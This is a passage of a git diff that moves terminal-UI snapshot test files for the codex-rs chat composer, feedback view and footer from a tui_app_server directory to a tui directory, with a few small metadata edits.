codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_single.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_single.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_single.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_single.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__large.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__large.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__large.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__large.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__multiple_pastes.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__multiple_pastes.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__multiple_pastes.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__multiple_pastes.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__plugin_mention_popup.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__plugin_mention_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__plugin_mention_popup.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__plugin_mention_popup.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_mo.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_mo.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_mo.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_mo.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap similarity index 95% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap index df8ea36e6..ff5628a2f 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/chat_composer.rs -assertion_line: 2385 expression: terminal.backend() --- " " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__small.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__small.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__small.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__small.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bug.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bug.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bug.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bug.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_good_result.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_good_result.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_good_result.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_good_result.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_other.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_other.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_other.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_other.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_render.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_render.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_render.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_render.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap similarity index 88% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap index c70085026..60a64064b 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/footer.rs -assertion_line: 1207 expression: terminal.backend() --- " Robie [explorer] 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_context_tokens_used.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_context_tokens_used.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_context_tokens_used.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_context_tokens_used.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_idle.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_idle.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_idle.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_idle.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_primed.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_primed.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_primed.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_primed.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap diff --git 